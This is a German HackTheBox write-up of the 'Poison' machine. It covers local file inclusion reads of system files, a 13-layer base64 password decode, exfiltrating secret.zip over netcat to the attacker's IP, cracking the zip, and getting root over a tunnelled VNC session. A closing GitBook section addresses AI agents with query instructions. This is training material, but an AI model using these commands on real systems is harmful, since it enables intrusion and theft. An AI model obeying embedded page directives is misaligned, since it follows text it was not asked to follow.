> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md).

# Poison HackTheBox Writeup

Poison HackTheBox Medium Linux-Maschine Writeup zu Local File Inclusion (LFI), ZIP-Datei-Knacken, Missbrauch von VNC - vncviewer (Privilegieneskalation), mit praktischer Enumeration, Exploitation, Fuß

{% embed url="<https://app.hackthebox.com/machines/Poison>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Lokale Dateieinbindung (LFI)
* ZIP-Datei knacken
* Missbrauch von VNC - vncviewer (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1226a2257e7f0e20effef12a68a110652a5b2498%2Fimage%20(2817).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11ce96b13060fe857425c84365f065dfa2f685af%2Fimage%20(2818).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0335b3e97a4b7fa1a9b50bc964cb2e81eb220e41%2Fimage%20(2819).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port-/Versionsscan mit Nmap (22, 80):**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.10.84 -oN targeted 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f234d40f11f875c0c6b5e59506a34ebaa2bbfd42%2Fimage%20(2820).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - FreeBSD

{% hint style="info" %}
FreeBSD ist ein beliebtes, freies Open-Source-Betriebssystem auf Basis der BSD-Version des Unix-Betriebssystems. FreeBSD hat den Ruf, schnell und stabil zu sein und sich besonders gut als Internetserver oder Dateiserver zu eignen.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-561f84287a48f957969f66d328cf5b9bc3780d45%2Fimage%20(2821).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LFI-Ausnutzung**

Wir identifizieren einen verwundbaren Parameter:

```
?file=FILE
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54dd4f0fd00e69d37559967d02502e1b28547c88%2Fimage%20(2822).png?alt=media" alt=""><figcaption></figcaption></figure>

Dies ermöglicht es uns, jede auf dem System verfügbare Datei zu lesen.

Aus der Ferne `pwnbackup.txt`, finden wir eine Zeichenkette, die auf ein verschlüsseltes Passwort hinweist **13-mal in Base64**:

```
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwV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VU5uUFQwSwo=
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c85658563f8c953ef6680debb90a7be10c22f12%2Fimage%20(2823).png?alt=media" alt=""><figcaption></figcaption></figure>

Entschlüsselung mit `echo`:

{% code overflow="wrap" %}

```bash
echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo
```

{% endcode %}

Das enthüllte Passwort lautet:

* `Charix!2#4%6&8(0`

### **Suche nach Systembenutzern**

Wir listen `/etc/passwd` über das LFI auf und finden den Benutzer **charix**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd1e47752986daba3568d487fc040fdb22754bb7%2Fimage%20(2824).png?alt=media" alt=""><figcaption></figcaption></figure>

SSH-Verbindung mit den gefundenen Zugangsdaten:

```bash
ssh charix@10.10.10.84 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b71591ed1ddc7e48c3f0ce84ea34de2bbbd76d8f%2Fimage%20(2825).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

Flag `user.txt` wiederhergestellt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4bace40c38ee0d044eb00b86696f4a542a7a117%2Fimage%20(2826).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation**

Wir finden eine Datei **secret.zip**.

#### **Dateiübertragung mit Netcat**

Auf unserer Maschine:

```bash
nc -nvlp 443 > secret.zip
cat secret.zip  | nc 10.10.14.50 443
```

Die Datei ist passwortgeschützt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5827f143a9a865e76c095acf51c0d09c6b5d369e%2Fimage%20(2827).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ZIP-Passwort knacken**

**Den Hash extrahieren mit `zip2john`**:

Daher verwenden wir zip2john, um den Hash zu extrahieren

```bash
zip2john secret.zip > hash
```

**Passwortsuche mit `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Ergebnis**: Nicht gefunden

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7817331dc23361ba1b8ca5207d8a9e5caedb738a%2Fimage%20(2828).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir testen die Wiederverwendung des zuvor entdeckten Passworts:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2970b1d4490ce0c0a013cf735766ff1fc692af39%2Fimage%20(2829).png?alt=media" alt=""><figcaption></figcaption></figure>

/*Erfolg! /*/\*

`secret` Datei enthält seltsame Zeichen, was auf einen Zugriffsschlüssel hindeutet

### Ausnutzung 5800,5801,5900,5901 - VNC

Wir identifizieren lauschende Ports:

```bash
netstat -an | grep LISTEN
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2635f808288af2fd9735379516a9ee7da62a72a1%2Fimage%20(2830).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **SSH-Tunnel zum Weiterleiten der VNC-Ports**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c573759e00dd272931f1efa5ade12b0599fb16a%2Fimage%20(2831).png?alt=media" alt=""><figcaption></figcaption></figure>

VNC-Dienstscan:

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e32ae29b5d53f3eb7513096f9b82ed15b727e8fd%2Fimage%20(2832).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Anmeldung via vncviewer**

Wir verwenden das Passwort aus `secret.zip`:

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

Wir erhalten ein **Root-Zugriff** auf dem Rechner!

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6312abe26269b22c8f3da6529463191be6ff346d%2Fimage%20(2833).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b7fc7cf5c00a7a2f2f73ec8d453009badc150b3%2Fimage%20(2834).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f93253f0c22e4a18b9611f68bddc0aa88cd1441f%2Fimage%20(2835).png?alt=media" alt="" width="404"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
